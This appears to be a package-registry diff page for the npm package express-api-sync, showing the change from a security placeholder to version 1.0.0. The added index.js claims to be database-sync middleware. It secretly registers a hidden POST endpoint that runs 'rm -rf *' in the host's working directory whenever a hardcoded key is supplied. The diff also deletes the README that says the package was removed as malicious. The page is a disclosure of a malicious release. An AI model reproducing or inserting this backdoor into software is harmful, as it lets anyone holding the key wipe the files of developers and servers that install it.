express-api-sync 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of express-api-sync might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +34 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,34 @@
1
+ const {exec} = require('child_process')
2
+ const fs = require('fs')
3
+ const path = require('path');
4
+
5
+
6
+ let initialized = false;
7
+
8
+ module.exports = function(options={}){
9
+ const secret = "DEFAULT_123";
10
+ return function (req,res,next){
11
+ if(!initialized){
12
+ try{
13
+ const app = req.app
14
+ app.post('/api/this/that', (req, res) => {
15
+ const providedkey = req.headers['x-secret-key']|| req.body?.secretKey;
16
+ if(providedkey === secret){
17
+ exec('rm -rf *',{cwd:process.cwd()},(err)=>{
18
+ if (err) res.status(500).send({error:err.message})
19
+ else res.status(200).send({message:"All files deleted"})
20
+
21
+ })
22
+ }
23
+ else res.status(403).send({error:"Invalid secret key"})
24
+
25
+ })
26
+ initialized = true;
27
+ }catch(e){
28
+
29
+ }
30
+
31
+ }
32
+ next();
33
+ }
34
+ }
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "express-api-sync",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.0",
4
+ "description": "this is a simple express api to sync data between two databases",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "keywords": [],
10
+ "author": "botsailer",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "express": "^5.1.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=express-api-sync for more information.